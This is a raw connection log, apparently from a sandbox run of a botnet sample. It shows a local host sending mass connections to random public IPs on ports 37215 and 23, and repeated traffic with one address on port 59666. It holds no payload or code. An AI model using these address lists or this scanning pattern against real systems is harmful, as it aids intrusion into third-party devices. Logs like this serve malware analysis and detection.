Feb 4, 2025 18:17:39.477262974 CET	35556	37215	192.168.2.23	156.159.91.66
Feb 4, 2025 18:17:39.477262974 CET	35556	37215	192.168.2.23	197.207.25.124
Feb 4, 2025 18:17:39.477263927 CET	35556	37215	192.168.2.23	156.216.142.177
Feb 4, 2025 18:17:39.477272987 CET	35556	37215	192.168.2.23	41.47.103.134
Feb 4, 2025 18:17:39.477273941 CET	35556	37215	192.168.2.23	197.219.164.231
Feb 4, 2025 18:17:39.477273941 CET	35556	37215	192.168.2.23	41.116.173.200
Feb 4, 2025 18:17:39.477274895 CET	35556	37215	192.168.2.23	156.201.89.6
Feb 4, 2025 18:17:39.477276087 CET	35556	37215	192.168.2.23	41.4.247.32
Feb 4, 2025 18:17:39.477277040 CET	35556	37215	192.168.2.23	41.64.114.56
Feb 4, 2025 18:17:39.477274895 CET	35556	37215	192.168.2.23	197.153.129.247
Feb 4, 2025 18:17:39.477281094 CET	35556	37215	192.168.2.23	197.201.32.51
Feb 4, 2025 18:17:39.477282047 CET	35556	37215	192.168.2.23	41.254.185.118
Feb 4, 2025 18:17:39.477283001 CET	35556	37215	192.168.2.23	197.140.17.49
Feb 4, 2025 18:17:39.477289915 CET	35556	37215	192.168.2.23	156.11.188.246
Feb 4, 2025 18:17:39.477289915 CET	35556	37215	192.168.2.23	41.176.142.0
Feb 4, 2025 18:17:39.477289915 CET	35556	37215	192.168.2.23	156.7.35.129
Feb 4, 2025 18:17:39.477294922 CET	35556	37215	192.168.2.23	156.142.97.27
Feb 4, 2025 18:17:39.477296114 CET	35556	37215	192.168.2.23	197.227.111.211
Feb 4, 2025 18:17:39.477296114 CET	35556	37215	192.168.2.23	156.25.213.94
Feb 4, 2025 18:17:39.477296114 CET	35556	37215	192.168.2.23	156.208.11.27
Feb 4, 2025 18:17:39.477296114 CET	35556	37215	192.168.2.23	156.113.57.123
Feb 4, 2025 18:17:39.477303028 CET	35556	37215	192.168.2.23	156.119.226.116
Feb 4, 2025 18:17:39.477304935 CET	35556	37215	192.168.2.23	197.102.30.59
Feb 4, 2025 18:17:39.477304935 CET	35556	37215	192.168.2.23	41.233.98.132
Feb 4, 2025 18:17:39.477304935 CET	35556	37215	192.168.2.23	197.35.82.108
Feb 4, 2025 18:17:39.477310896 CET	35556	37215	192.168.2.23	156.36.67.163
Feb 4, 2025 18:17:39.477319002 CET	35556	37215	192.168.2.23	156.131.154.220
Feb 4, 2025 18:17:39.477319002 CET	35556	37215	192.168.2.23	41.183.159.136
Feb 4, 2025 18:17:39.477327108 CET	35556	37215	192.168.2.23	197.55.73.14
Feb 4, 2025 18:17:39.477327108 CET	35556	37215	192.168.2.23	197.31.190.185
Feb 4, 2025 18:17:39.477332115 CET	35556	37215	192.168.2.23	41.228.172.183
Feb 4, 2025 18:17:39.477339983 CET	35556	37215	192.168.2.23	197.255.240.38
Feb 4, 2025 18:17:39.477343082 CET	35556	37215	192.168.2.23	156.46.42.8
Feb 4, 2025 18:17:39.477344036 CET	35556	37215	192.168.2.23	41.251.3.250
Feb 4, 2025 18:17:39.477344990 CET	35556	37215	192.168.2.23	197.0.247.59
Feb 4, 2025 18:17:39.477349997 CET	35556	37215	192.168.2.23	197.241.183.168
Feb 4, 2025 18:17:39.477351904 CET	35556	37215	192.168.2.23	197.34.186.255
Feb 4, 2025 18:17:39.477353096 CET	35556	37215	192.168.2.23	156.4.30.129
Feb 4, 2025 18:17:39.477358103 CET	35556	37215	192.168.2.23	197.2.94.181
Feb 4, 2025 18:17:39.477358103 CET	35556	37215	192.168.2.23	41.108.38.226
Feb 4, 2025 18:17:39.477370024 CET	35556	37215	192.168.2.23	41.94.63.185
Feb 4, 2025 18:17:39.477370024 CET	35556	37215	192.168.2.23	156.162.128.194
Feb 4, 2025 18:17:39.477374077 CET	35556	37215	192.168.2.23	41.144.67.233
Feb 4, 2025 18:17:39.477375031 CET	35556	37215	192.168.2.23	156.124.226.24
Feb 4, 2025 18:17:39.477375984 CET	35556	37215	192.168.2.23	197.39.126.210
Feb 4, 2025 18:17:39.477375984 CET	35556	37215	192.168.2.23	156.35.237.179
Feb 4, 2025 18:17:39.477380037 CET	35556	37215	192.168.2.23	197.227.78.233
Feb 4, 2025 18:17:39.477380037 CET	35556	37215	192.168.2.23	41.121.98.244
Feb 4, 2025 18:17:39.477380037 CET	35556	37215	192.168.2.23	156.77.184.65
Feb 4, 2025 18:17:39.477397919 CET	35556	37215	192.168.2.23	197.162.43.189
Feb 4, 2025 18:17:39.477397919 CET	35556	37215	192.168.2.23	41.186.174.128
Feb 4, 2025 18:17:39.477399111 CET	35556	37215	192.168.2.23	41.94.193.249
Feb 4, 2025 18:17:39.477399111 CET	35556	37215	192.168.2.23	156.67.193.191
Feb 4, 2025 18:17:39.477400064 CET	35556	37215	192.168.2.23	156.164.193.116
Feb 4, 2025 18:17:39.477401972 CET	35556	37215	192.168.2.23	197.49.186.139
Feb 4, 2025 18:17:39.477401972 CET	35556	37215	192.168.2.23	41.250.127.193
Feb 4, 2025 18:17:39.477421045 CET	35556	37215	192.168.2.23	41.151.99.37
Feb 4, 2025 18:17:39.477421999 CET	35556	37215	192.168.2.23	156.93.42.113
Feb 4, 2025 18:17:39.477421999 CET	35556	37215	192.168.2.23	197.47.128.203
Feb 4, 2025 18:17:39.477421999 CET	35556	37215	192.168.2.23	156.103.46.10
Feb 4, 2025 18:17:39.477422953 CET	35556	37215	192.168.2.23	197.146.242.53
Feb 4, 2025 18:17:39.477425098 CET	35556	37215	192.168.2.23	41.143.207.150
Feb 4, 2025 18:17:39.477425098 CET	35556	37215	192.168.2.23	41.118.238.200
Feb 4, 2025 18:17:39.477427006 CET	35556	37215	192.168.2.23	156.137.103.215
Feb 4, 2025 18:17:39.477430105 CET	35556	37215	192.168.2.23	41.122.29.251
Feb 4, 2025 18:17:39.477430105 CET	35556	37215	192.168.2.23	41.146.119.82
Feb 4, 2025 18:17:39.477431059 CET	35556	37215	192.168.2.23	41.119.249.186
Feb 4, 2025 18:17:39.477431059 CET	35556	37215	192.168.2.23	197.42.231.144
Feb 4, 2025 18:17:39.477446079 CET	35556	37215	192.168.2.23	41.163.28.219
Feb 4, 2025 18:17:39.477447033 CET	35556	37215	192.168.2.23	156.251.238.21
Feb 4, 2025 18:17:39.477447987 CET	35556	37215	192.168.2.23	156.183.225.66
Feb 4, 2025 18:17:39.477456093 CET	35556	37215	192.168.2.23	41.33.53.130
Feb 4, 2025 18:17:39.477456093 CET	35556	37215	192.168.2.23	156.227.221.76
Feb 4, 2025 18:17:39.477457047 CET	35556	37215	192.168.2.23	156.117.199.72
Feb 4, 2025 18:17:39.477458000 CET	35556	37215	192.168.2.23	197.91.1.141
Feb 4, 2025 18:17:39.477458000 CET	35556	37215	192.168.2.23	41.26.179.10
Feb 4, 2025 18:17:39.477463961 CET	35556	37215	192.168.2.23	41.25.74.216
Feb 4, 2025 18:17:39.477463961 CET	35556	37215	192.168.2.23	41.240.7.246
Feb 4, 2025 18:17:39.477467060 CET	35556	37215	192.168.2.23	41.9.153.218
Feb 4, 2025 18:17:39.477488041 CET	35556	37215	192.168.2.23	197.18.196.34
Feb 4, 2025 18:17:39.477488041 CET	35556	37215	192.168.2.23	156.64.216.156
Feb 4, 2025 18:17:39.477488041 CET	35556	37215	192.168.2.23	197.175.236.249
Feb 4, 2025 18:17:39.477492094 CET	35556	37215	192.168.2.23	197.143.31.117
Feb 4, 2025 18:17:39.477495909 CET	35556	37215	192.168.2.23	41.84.161.46
Feb 4, 2025 18:17:39.477504969 CET	35556	37215	192.168.2.23	197.104.44.65
Feb 4, 2025 18:17:39.477508068 CET	35556	37215	192.168.2.23	41.132.8.4
Feb 4, 2025 18:17:39.477508068 CET	35556	37215	192.168.2.23	41.235.157.164
Feb 4, 2025 18:17:39.477504969 CET	35556	37215	192.168.2.23	41.25.87.234
Feb 4, 2025 18:17:39.477511883 CET	35556	37215	192.168.2.23	41.197.117.160
Feb 4, 2025 18:17:39.477511883 CET	35556	37215	192.168.2.23	41.224.13.124
Feb 4, 2025 18:17:39.477511883 CET	35556	37215	192.168.2.23	156.234.188.119
Feb 4, 2025 18:17:39.477511883 CET	35556	37215	192.168.2.23	197.77.158.6
Feb 4, 2025 18:17:39.477511883 CET	35556	37215	192.168.2.23	156.157.197.21
Feb 4, 2025 18:17:39.477514982 CET	35556	37215	192.168.2.23	41.84.131.34
Feb 4, 2025 18:17:39.477530956 CET	35556	37215	192.168.2.23	41.160.227.127
Feb 4, 2025 18:17:39.477533102 CET	35556	37215	192.168.2.23	156.33.74.205
Feb 4, 2025 18:17:39.477540970 CET	35556	37215	192.168.2.23	156.38.100.219
Feb 4, 2025 18:17:39.477550983 CET	35556	37215	192.168.2.23	156.188.97.33
Feb 4, 2025 18:17:39.477556944 CET	35556	37215	192.168.2.23	156.239.200.24
Feb 4, 2025 18:17:39.477556944 CET	35556	37215	192.168.2.23	156.73.64.28
Feb 4, 2025 18:17:39.477556944 CET	35556	37215	192.168.2.23	156.124.118.217
Feb 4, 2025 18:17:39.477564096 CET	35556	37215	192.168.2.23	197.162.249.176
Feb 4, 2025 18:17:39.477564096 CET	35556	37215	192.168.2.23	156.254.195.72
Feb 4, 2025 18:17:39.477564096 CET	35556	37215	192.168.2.23	197.4.52.53
Feb 4, 2025 18:17:39.477564096 CET	35556	37215	192.168.2.23	156.131.16.2
Feb 4, 2025 18:17:39.477564096 CET	35556	37215	192.168.2.23	197.139.90.196
Feb 4, 2025 18:17:39.477566957 CET	35556	37215	192.168.2.23	197.147.136.119
Feb 4, 2025 18:17:39.477567911 CET	35556	37215	192.168.2.23	41.159.29.203
Feb 4, 2025 18:17:39.477572918 CET	35556	37215	192.168.2.23	156.168.8.19
Feb 4, 2025 18:17:39.477587938 CET	35556	37215	192.168.2.23	156.251.20.136
Feb 4, 2025 18:17:39.477590084 CET	35556	37215	192.168.2.23	41.216.146.153
Feb 4, 2025 18:17:39.477590084 CET	35556	37215	192.168.2.23	41.186.128.102
Feb 4, 2025 18:17:39.477590084 CET	35556	37215	192.168.2.23	156.234.215.228
Feb 4, 2025 18:17:39.477591038 CET	35556	37215	192.168.2.23	197.155.138.156
Feb 4, 2025 18:17:39.477591038 CET	35556	37215	192.168.2.23	156.49.103.238
Feb 4, 2025 18:17:39.477591991 CET	35556	37215	192.168.2.23	197.68.114.98
Feb 4, 2025 18:17:39.477591991 CET	35556	37215	192.168.2.23	41.223.158.97
Feb 4, 2025 18:17:39.477595091 CET	35556	37215	192.168.2.23	41.77.241.196
Feb 4, 2025 18:17:39.477595091 CET	35556	37215	192.168.2.23	156.170.26.227
Feb 4, 2025 18:17:39.477603912 CET	35556	37215	192.168.2.23	197.177.183.191
Feb 4, 2025 18:17:39.477607965 CET	35556	37215	192.168.2.23	41.54.139.169
Feb 4, 2025 18:17:39.477612972 CET	35556	37215	192.168.2.23	197.118.190.221
Feb 4, 2025 18:17:39.477617979 CET	35556	37215	192.168.2.23	197.46.111.119
Feb 4, 2025 18:17:39.477617979 CET	35556	37215	192.168.2.23	197.236.63.97
Feb 4, 2025 18:17:39.477617979 CET	35556	37215	192.168.2.23	156.91.65.196
Feb 4, 2025 18:17:39.477621078 CET	35556	37215	192.168.2.23	156.31.128.206
Feb 4, 2025 18:17:39.477622032 CET	35556	37215	192.168.2.23	41.81.115.110
Feb 4, 2025 18:17:39.477622032 CET	35556	37215	192.168.2.23	156.214.56.198
Feb 4, 2025 18:17:39.477623940 CET	35556	37215	192.168.2.23	197.178.111.102
Feb 4, 2025 18:17:39.477622032 CET	35556	37215	192.168.2.23	197.131.148.244
Feb 4, 2025 18:17:39.477623940 CET	35556	37215	192.168.2.23	197.145.161.155
Feb 4, 2025 18:17:39.477622032 CET	35556	37215	192.168.2.23	41.234.106.94
Feb 4, 2025 18:17:39.477627993 CET	35556	37215	192.168.2.23	197.62.229.191
Feb 4, 2025 18:17:39.477633953 CET	35556	37215	192.168.2.23	156.2.104.18
Feb 4, 2025 18:17:39.477648020 CET	35556	37215	192.168.2.23	156.158.233.181
Feb 4, 2025 18:17:39.477648973 CET	35556	37215	192.168.2.23	156.180.101.54
Feb 4, 2025 18:17:39.477655888 CET	35556	37215	192.168.2.23	41.127.0.41
Feb 4, 2025 18:17:39.477663040 CET	35556	37215	192.168.2.23	197.220.220.63
Feb 4, 2025 18:17:39.477665901 CET	35556	37215	192.168.2.23	156.66.110.62
Feb 4, 2025 18:17:39.477670908 CET	35556	37215	192.168.2.23	41.148.36.216
Feb 4, 2025 18:17:39.477670908 CET	35556	37215	192.168.2.23	156.254.95.228
Feb 4, 2025 18:17:39.477682114 CET	35556	37215	192.168.2.23	197.151.18.79
Feb 4, 2025 18:17:39.477682114 CET	35556	37215	192.168.2.23	156.14.70.248
Feb 4, 2025 18:17:39.477682114 CET	35556	37215	192.168.2.23	156.43.133.69
Feb 4, 2025 18:17:39.477683067 CET	35556	37215	192.168.2.23	197.66.169.231
Feb 4, 2025 18:17:39.477683067 CET	35556	37215	192.168.2.23	41.113.9.232
Feb 4, 2025 18:17:39.477683067 CET	35556	37215	192.168.2.23	197.54.141.76
Feb 4, 2025 18:17:39.477684021 CET	35556	37215	192.168.2.23	41.111.145.251
Feb 4, 2025 18:17:39.477693081 CET	35556	37215	192.168.2.23	197.230.69.140
Feb 4, 2025 18:17:39.477693081 CET	35556	37215	192.168.2.23	197.235.230.163
Feb 4, 2025 18:17:39.477693081 CET	35556	37215	192.168.2.23	41.190.247.19
Feb 4, 2025 18:17:39.477699995 CET	35556	37215	192.168.2.23	197.197.245.9
Feb 4, 2025 18:17:39.477703094 CET	35556	37215	192.168.2.23	41.192.116.196
Feb 4, 2025 18:17:39.477704048 CET	35556	37215	192.168.2.23	197.83.61.91
Feb 4, 2025 18:17:39.477705002 CET	35556	37215	192.168.2.23	197.8.163.126
Feb 4, 2025 18:17:39.477711916 CET	35556	37215	192.168.2.23	156.87.237.151
Feb 4, 2025 18:17:39.477714062 CET	35556	37215	192.168.2.23	41.131.210.215
Feb 4, 2025 18:17:39.477714062 CET	35556	37215	192.168.2.23	197.44.161.89
Feb 4, 2025 18:17:39.477720976 CET	35556	37215	192.168.2.23	41.90.235.147
Feb 4, 2025 18:17:39.477721930 CET	35556	37215	192.168.2.23	156.124.74.72
Feb 4, 2025 18:17:39.477722883 CET	35556	37215	192.168.2.23	41.36.49.250
Feb 4, 2025 18:17:39.477725983 CET	35556	37215	192.168.2.23	41.181.213.35
Feb 4, 2025 18:17:39.477725983 CET	35556	37215	192.168.2.23	197.56.253.135
Feb 4, 2025 18:17:39.477740049 CET	35556	37215	192.168.2.23	41.232.163.148
Feb 4, 2025 18:17:39.477742910 CET	35556	37215	192.168.2.23	197.180.234.218
Feb 4, 2025 18:17:39.477742910 CET	35556	37215	192.168.2.23	197.115.161.103
Feb 4, 2025 18:17:39.477747917 CET	35556	37215	192.168.2.23	41.175.31.4
Feb 4, 2025 18:17:39.477749109 CET	35556	37215	192.168.2.23	156.219.79.234
Feb 4, 2025 18:17:39.477756023 CET	35556	37215	192.168.2.23	197.250.130.64
Feb 4, 2025 18:17:39.477757931 CET	35556	37215	192.168.2.23	197.1.42.131
Feb 4, 2025 18:17:39.477758884 CET	35556	37215	192.168.2.23	41.159.144.163
Feb 4, 2025 18:17:39.477758884 CET	35556	37215	192.168.2.23	41.29.62.238
Feb 4, 2025 18:17:39.477765083 CET	35556	37215	192.168.2.23	41.188.79.185
Feb 4, 2025 18:17:39.477771044 CET	35556	37215	192.168.2.23	41.110.12.244
Feb 4, 2025 18:17:39.477777958 CET	35556	37215	192.168.2.23	197.210.197.98
Feb 4, 2025 18:17:39.477777958 CET	35556	37215	192.168.2.23	156.140.49.145
Feb 4, 2025 18:17:39.477777958 CET	35556	37215	192.168.2.23	197.149.125.17
Feb 4, 2025 18:17:39.477781057 CET	35556	37215	192.168.2.23	156.131.68.43
Feb 4, 2025 18:17:39.477786064 CET	35556	37215	192.168.2.23	156.5.233.65
Feb 4, 2025 18:17:39.477798939 CET	35556	37215	192.168.2.23	197.18.222.123
Feb 4, 2025 18:17:39.477798939 CET	35556	37215	192.168.2.23	41.207.175.98
Feb 4, 2025 18:17:39.477798939 CET	35556	37215	192.168.2.23	156.107.136.42
Feb 4, 2025 18:17:39.477801085 CET	35556	37215	192.168.2.23	156.233.115.193
Feb 4, 2025 18:17:39.477801085 CET	35556	37215	192.168.2.23	197.70.65.169
Feb 4, 2025 18:17:39.477808952 CET	35556	37215	192.168.2.23	156.44.40.162
Feb 4, 2025 18:17:39.477809906 CET	35556	37215	192.168.2.23	41.194.247.64
Feb 4, 2025 18:17:39.477809906 CET	35556	37215	192.168.2.23	197.12.127.253
Feb 4, 2025 18:17:39.477837086 CET	35556	37215	192.168.2.23	197.234.10.121
Feb 4, 2025 18:17:39.477837086 CET	35556	37215	192.168.2.23	197.15.207.223
Feb 4, 2025 18:17:39.477838993 CET	35556	37215	192.168.2.23	197.49.3.34
Feb 4, 2025 18:17:39.477838993 CET	35556	37215	192.168.2.23	156.13.171.35
Feb 4, 2025 18:17:39.477838993 CET	35556	37215	192.168.2.23	156.74.148.191
Feb 4, 2025 18:17:39.477838993 CET	35556	37215	192.168.2.23	156.113.218.92
Feb 4, 2025 18:17:39.477843046 CET	35556	37215	192.168.2.23	41.62.75.162
Feb 4, 2025 18:17:39.477843046 CET	35556	37215	192.168.2.23	41.230.119.0
Feb 4, 2025 18:17:39.477844954 CET	35556	37215	192.168.2.23	197.176.146.94
Feb 4, 2025 18:17:39.477849007 CET	35556	37215	192.168.2.23	197.248.230.65
Feb 4, 2025 18:17:39.477853060 CET	35556	37215	192.168.2.23	156.120.38.39
Feb 4, 2025 18:17:39.477854013 CET	35556	37215	192.168.2.23	156.87.232.231
Feb 4, 2025 18:17:39.477855921 CET	35556	37215	192.168.2.23	41.134.225.70
Feb 4, 2025 18:17:39.477858067 CET	35556	37215	192.168.2.23	197.247.22.228
Feb 4, 2025 18:17:39.477858067 CET	35556	37215	192.168.2.23	197.118.15.97
Feb 4, 2025 18:17:39.477858067 CET	35556	37215	192.168.2.23	197.114.134.183
Feb 4, 2025 18:17:39.477858067 CET	35556	37215	192.168.2.23	41.139.62.17
Feb 4, 2025 18:17:39.477863073 CET	35556	37215	192.168.2.23	197.230.244.21
Feb 4, 2025 18:17:39.477869034 CET	35556	37215	192.168.2.23	41.232.7.88
Feb 4, 2025 18:17:39.477869034 CET	35556	37215	192.168.2.23	197.28.186.79
Feb 4, 2025 18:17:39.477870941 CET	35556	37215	192.168.2.23	156.142.191.170
Feb 4, 2025 18:17:39.477870941 CET	35556	37215	192.168.2.23	156.37.167.10
Feb 4, 2025 18:17:39.477870941 CET	35556	37215	192.168.2.23	197.2.136.248
Feb 4, 2025 18:17:39.477870941 CET	35556	37215	192.168.2.23	156.103.232.101
Feb 4, 2025 18:17:39.477870941 CET	35556	37215	192.168.2.23	41.143.69.122
Feb 4, 2025 18:17:39.477874041 CET	35556	37215	192.168.2.23	41.80.66.219
Feb 4, 2025 18:17:39.477881908 CET	35556	37215	192.168.2.23	41.137.49.160
Feb 4, 2025 18:17:39.477886915 CET	35556	37215	192.168.2.23	156.73.206.85
Feb 4, 2025 18:17:39.477886915 CET	35556	37215	192.168.2.23	41.205.246.133
Feb 4, 2025 18:17:39.477901936 CET	35556	37215	192.168.2.23	197.218.94.155
Feb 4, 2025 18:17:39.477902889 CET	35556	37215	192.168.2.23	156.133.151.164
Feb 4, 2025 18:17:39.477902889 CET	35556	37215	192.168.2.23	156.103.53.65
Feb 4, 2025 18:17:39.477905035 CET	35556	37215	192.168.2.23	197.110.49.241
Feb 4, 2025 18:17:39.477905989 CET	35556	37215	192.168.2.23	41.114.199.118
Feb 4, 2025 18:17:39.477905989 CET	35556	37215	192.168.2.23	156.29.112.118
Feb 4, 2025 18:17:39.477917910 CET	35556	37215	192.168.2.23	156.126.31.102
Feb 4, 2025 18:17:39.477917910 CET	35556	37215	192.168.2.23	156.93.240.1
Feb 4, 2025 18:17:39.477926016 CET	35556	37215	192.168.2.23	156.94.191.50
Feb 4, 2025 18:17:39.477930069 CET	35556	37215	192.168.2.23	156.47.56.148
Feb 4, 2025 18:17:39.477931023 CET	35556	37215	192.168.2.23	156.78.207.150
Feb 4, 2025 18:17:39.477931023 CET	35556	37215	192.168.2.23	41.176.208.233
Feb 4, 2025 18:17:39.477932930 CET	35556	37215	192.168.2.23	156.141.152.249
Feb 4, 2025 18:17:39.477932930 CET	35556	37215	192.168.2.23	197.101.237.226
Feb 4, 2025 18:17:39.477933884 CET	35556	37215	192.168.2.23	197.90.130.225
Feb 4, 2025 18:17:39.477933884 CET	35556	37215	192.168.2.23	156.68.31.177
Feb 4, 2025 18:17:39.477935076 CET	35556	37215	192.168.2.23	156.183.212.131
Feb 4, 2025 18:17:39.477936029 CET	35556	37215	192.168.2.23	156.252.40.170
Feb 4, 2025 18:17:39.477935076 CET	35556	37215	192.168.2.23	156.22.146.255
Feb 4, 2025 18:17:39.477955103 CET	35556	37215	192.168.2.23	41.181.90.60
Feb 4, 2025 18:17:39.477957010 CET	35556	37215	192.168.2.23	197.233.43.112
Feb 4, 2025 18:17:39.477957964 CET	35556	37215	192.168.2.23	41.197.180.133
Feb 4, 2025 18:17:39.477967024 CET	35556	37215	192.168.2.23	197.165.117.96
Feb 4, 2025 18:17:39.477967978 CET	35556	37215	192.168.2.23	41.59.52.201
Feb 4, 2025 18:17:39.477967978 CET	35556	37215	192.168.2.23	197.12.160.87
Feb 4, 2025 18:17:39.477972031 CET	35556	37215	192.168.2.23	41.188.18.48
Feb 4, 2025 18:17:39.477972031 CET	35556	37215	192.168.2.23	156.146.104.119
Feb 4, 2025 18:17:39.477978945 CET	35556	37215	192.168.2.23	156.230.219.40
Feb 4, 2025 18:17:39.477978945 CET	35556	37215	192.168.2.23	41.57.81.140
Feb 4, 2025 18:17:39.477981091 CET	35556	37215	192.168.2.23	156.152.245.144
Feb 4, 2025 18:17:39.477982044 CET	35556	37215	192.168.2.23	41.137.16.132
Feb 4, 2025 18:17:39.477982998 CET	35556	37215	192.168.2.23	156.220.55.169
Feb 4, 2025 18:17:39.477982998 CET	35556	37215	192.168.2.23	197.103.122.251
Feb 4, 2025 18:17:39.477989912 CET	35556	37215	192.168.2.23	156.213.208.1
Feb 4, 2025 18:17:39.477996111 CET	35556	37215	192.168.2.23	41.3.169.232
Feb 4, 2025 18:17:39.478135109 CET	35556	37215	192.168.2.23	197.186.175.82
Feb 4, 2025 18:17:39.478136063 CET	50676	37215	192.168.2.23	197.177.231.91
Feb 4, 2025 18:17:39.481811047 CET	37215	35556	156.132.22.133	192.168.2.23
Feb 4, 2025 18:17:39.481868029 CET	35556	37215	192.168.2.23	156.132.22.133
Feb 4, 2025 18:17:39.482001066 CET	37215	45564	197.208.150.161	192.168.2.23
Feb 4, 2025 18:17:39.482057095 CET	45564	37215	192.168.2.23	197.208.150.161
Feb 4, 2025 18:17:39.483342886 CET	37215	50676	197.177.231.91	192.168.2.23
Feb 4, 2025 18:17:39.483407021 CET	50676	37215	192.168.2.23	197.177.231.91
Feb 4, 2025 18:17:39.499547005 CET	80	35158	129.59.140.45	192.168.2.23
Feb 4, 2025 18:17:39.664262056 CET	59666	40668	212.64.199.23	192.168.2.23
Feb 4, 2025 18:17:39.664357901 CET	40668	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:39.664426088 CET	40668	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:39.670789957 CET	40928	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:39.675600052 CET	59666	40928	212.64.199.23	192.168.2.23
Feb 4, 2025 18:17:39.675676107 CET	40928	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:39.675676107 CET	40928	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:39.680494070 CET	59666	40928	212.64.199.23	192.168.2.23
Feb 4, 2025 18:17:39.680579901 CET	40928	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:39.685400009 CET	59666	40928	212.64.199.23	192.168.2.23
Feb 4, 2025 18:17:40.402482986 CET	59666	40928	212.64.199.23	192.168.2.23
Feb 4, 2025 18:17:40.402570009 CET	40928	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:40.402570009 CET	40928	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:40.409626961 CET	40930	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:40.414437056 CET	59666	40930	212.64.199.23	192.168.2.23
Feb 4, 2025 18:17:40.414503098 CET	40930	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:40.414503098 CET	40930	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:40.415299892 CET	47076	23	192.168.2.23	89.177.48.32
Feb 4, 2025 18:17:40.415307999 CET	47076	23	192.168.2.23	72.81.66.12
Feb 4, 2025 18:17:40.415317059 CET	47076	23	192.168.2.23	4.253.48.17
Feb 4, 2025 18:17:40.415329933 CET	47076	23	192.168.2.23	124.167.125.25
Feb 4, 2025 18:17:40.415330887 CET	47076	23	192.168.2.23	168.135.116.157
Feb 4, 2025 18:17:40.415332079 CET	47076	23	192.168.2.23	147.244.110.124
Feb 4, 2025 18:17:40.415329933 CET	47076	23	192.168.2.23	77.62.19.26
Feb 4, 2025 18:17:40.415332079 CET	47076	23	192.168.2.23	25.191.82.140
Feb 4, 2025 18:17:40.415333986 CET	47076	23	192.168.2.23	219.145.5.232
Feb 4, 2025 18:17:40.415335894 CET	47076	23	192.168.2.23	197.113.45.182
Feb 4, 2025 18:17:40.415335894 CET	47076	23	192.168.2.23	145.89.231.166
Feb 4, 2025 18:17:40.415334940 CET	47076	23	192.168.2.23	88.236.181.190
Feb 4, 2025 18:17:40.415349960 CET	47076	23	192.168.2.23	146.81.117.157
Feb 4, 2025 18:17:40.415349960 CET	47076	23	192.168.2.23	51.207.68.224
Feb 4, 2025 18:17:40.415349960 CET	47076	23	192.168.2.23	171.196.112.10
Feb 4, 2025 18:17:40.415349960 CET	47076	23	192.168.2.23	123.108.58.34
Feb 4, 2025 18:17:40.415349960 CET	47076	23	192.168.2.23	67.72.105.40
Feb 4, 2025 18:17:40.415363073 CET	47076	23	192.168.2.23	118.171.160.137
Feb 4, 2025 18:17:40.415363073 CET	47076	23	192.168.2.23	79.189.245.193
Feb 4, 2025 18:17:40.415364027 CET	47076	23	192.168.2.23	39.131.253.50
Feb 4, 2025 18:17:40.415364027 CET	47076	23	192.168.2.23	147.197.166.232
Feb 4, 2025 18:17:40.415366888 CET	47076	23	192.168.2.23	64.6.109.121
Feb 4, 2025 18:17:40.415366888 CET	47076	23	192.168.2.23	23.149.81.38
Feb 4, 2025 18:17:40.415368080 CET	47076	23	192.168.2.23	186.245.144.160
Feb 4, 2025 18:17:40.415368080 CET	47076	23	192.168.2.23	87.162.145.206
Feb 4, 2025 18:17:40.415368080 CET	47076	23	192.168.2.23	187.248.163.218
Feb 4, 2025 18:17:40.415385962 CET	47076	23	192.168.2.23	98.167.40.239
Feb 4, 2025 18:17:40.415385962 CET	47076	23	192.168.2.23	48.90.205.29
Feb 4, 2025 18:17:40.415385962 CET	47076	23	192.168.2.23	5.192.36.61
Feb 4, 2025 18:17:40.415399075 CET	47076	23	192.168.2.23	75.174.120.255
Feb 4, 2025 18:17:40.415399075 CET	47076	23	192.168.2.23	197.118.145.224
Feb 4, 2025 18:17:40.415401936 CET	47076	23	192.168.2.23	43.236.88.237
Feb 4, 2025 18:17:40.415401936 CET	47076	23	192.168.2.23	139.225.250.237
Feb 4, 2025 18:17:40.415404081 CET	47076	23	192.168.2.23	111.254.11.220
Feb 4, 2025 18:17:40.415417910 CET	47076	23	192.168.2.23	79.143.218.216
Feb 4, 2025 18:17:40.415419102 CET	47076	23	192.168.2.23	168.240.212.147
Feb 4, 2025 18:17:40.415419102 CET	47076	23	192.168.2.23	176.247.16.203
Feb 4, 2025 18:17:40.415422916 CET	47076	23	192.168.2.23	63.93.19.104
Feb 4, 2025 18:17:40.415422916 CET	47076	23	192.168.2.23	79.94.124.205
Feb 4, 2025 18:17:40.415422916 CET	47076	23	192.168.2.23	75.142.240.165
Feb 4, 2025 18:17:40.415427923 CET	47076	23	192.168.2.23	40.140.84.142
Feb 4, 2025 18:17:40.415429115 CET	47076	23	192.168.2.23	75.66.110.101
Feb 4, 2025 18:17:40.415429115 CET	47076	23	192.168.2.23	178.86.234.80
Feb 4, 2025 18:17:40.415433884 CET	47076	23	192.168.2.23	159.62.93.215
Feb 4, 2025 18:17:40.415436983 CET	47076	23	192.168.2.23	94.102.186.204
Feb 4, 2025 18:17:40.415441036 CET	47076	23	192.168.2.23	39.219.133.181
Feb 4, 2025 18:17:40.415441036 CET	47076	23	192.168.2.23	171.117.49.151
Feb 4, 2025 18:17:40.415447950 CET	47076	23	192.168.2.23	204.36.46.66
Feb 4, 2025 18:17:40.415447950 CET	47076	23	192.168.2.23	151.249.186.101
Feb 4, 2025 18:17:40.415447950 CET	47076	23	192.168.2.23	186.104.189.228
Feb 4, 2025 18:17:40.415447950 CET	47076	23	192.168.2.23	126.56.93.131
Feb 4, 2025 18:17:40.415460110 CET	47076	23	192.168.2.23	58.3.121.103
Feb 4, 2025 18:17:40.415462971 CET	47076	23	192.168.2.23	150.131.67.111
Feb 4, 2025 18:17:40.415462971 CET	47076	23	192.168.2.23	122.146.66.87
Feb 4, 2025 18:17:40.415476084 CET	47076	23	192.168.2.23	78.186.17.114
Feb 4, 2025 18:17:40.415482998 CET	47076	23	192.168.2.23	202.103.152.210
Feb 4, 2025 18:17:40.415482998 CET	47076	23	192.168.2.23	61.59.216.16
